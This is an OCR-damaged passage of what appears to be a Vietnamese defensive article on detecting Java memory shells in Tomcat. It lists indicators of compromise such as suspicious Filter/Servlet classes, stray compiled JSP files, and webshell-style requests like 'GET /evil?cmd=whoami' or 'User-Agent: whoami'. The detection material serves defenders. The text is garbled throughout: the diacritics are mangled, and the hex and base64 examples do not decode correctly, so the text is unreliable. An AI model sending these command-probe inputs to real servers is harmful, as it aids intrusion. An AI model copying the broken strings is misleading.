Str dung SecurityManager Céu hinh SecurityManager dé han ché Thap

7.5. Cac chi s6 théa hiép dang chi y (I0Cs)

A. Cac diu hi¢u trén thanh phin ng dung
e Filter/Servlet/Listener c6 tén class bt thuong: Tén class chtra_jsp, $1, $2 hoic c6 tén goi y nhu Evil,
Shell, Backdoor, webshell...
e Class khong ton tai trong web.xml: Filter/Servlet hoat dong nhung khong dugc dinh nghia trong
web.xml hay annotation
e Class duoc load boi ClassLoader bat thuong: ClassLoader 1a JasperLoader, TemplateClassLoader thay
vi WebappClassLoader
e URL pattern /* cho Filter: Filter bét tat ca request, dic biét Ia cac Filter ¢6 tén kha nghi
B. Déu hiéu trong file system
e File .class méi trong thu muc work: File .class duoc compile tir JSP, xuét hién dot ngot
e File .java va .class khong c6 JSP tuong tmg: Ton tai file .class nhung khong co file JSP gbc
e Thu muc uploads/ chtra JSP la: Thu muc upload c6 file JSP khong r& ngudn goc
C. Diu hiéu trong log va traffic
e Request dén static resource nhung c6 parameter la:
o MBb ta: Request dén .css, js, .png nhung kém parameter cmd, q, id hodc kém cac parameter
version nhung gié tri lai 1a whoami, id, uname -a hodc cac 1énh hé théng khac,. ..
o Vidu: GET /css/style.css?ver=%77%68%61%61%6d%69
Request dén path khong ton tai:
o Mo ta: Request dén /evil, /shell, /backdoor
o Vidu: GET /evil?cmd=whoami
e Response chira output 1énh hé thong:
o Mo ta: Response tra vé output cua whoami, id, Is,...
o Vidu: Response chura root hodc uid=0
User-Agent hoac Header la:
o Mo ta: Header chirta X-Forwarded-For: whoami hodc User-Agent: whoami
o Vidu: User-Agent: whoami
Cookie bat thuwong:
o Mo ta: Cookie chira base64 hoac command
o Vidu: Cookie: session=d2hvYWl1p

7.6. Pham vi ap dung va bién thé trén cac nén tang khac

Mic du bai viét nay tap trung vao Apache Tomcat. Tuy nhién, k§ thuit Memory Shell khong gi6i han & Tomcat.
Nguyén 1y tuong tu c6 thé dp dung cho:

e Moi Servlet container: Jetty, JBoss/WildFly, WebLogic, WebSphere, GlassFish

e Spring Framework: Spring Interceptor, Spring Controller, Spring WebFilter

e Cac framework khac: Struts, Play Framework, Grails
Dic biét trong moi truong Spring Boot: Spring-based memshell (Interceptor, Controller) 1a bién thé phd bién
va cling nguy h1em khong kém. Do do6, khong str dung Tomcat khdng ¢ nghia la an toan trudec memshell.
Doanh nghiép can 4p dung cac bién phap phong thi twong tw cho nhiéu méi truong runtime nhu: JAVA
runtime, .NET runtime, ...
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Shell/blob/main/Memory%20shell%20%5BCognitive%20Section%5D.md
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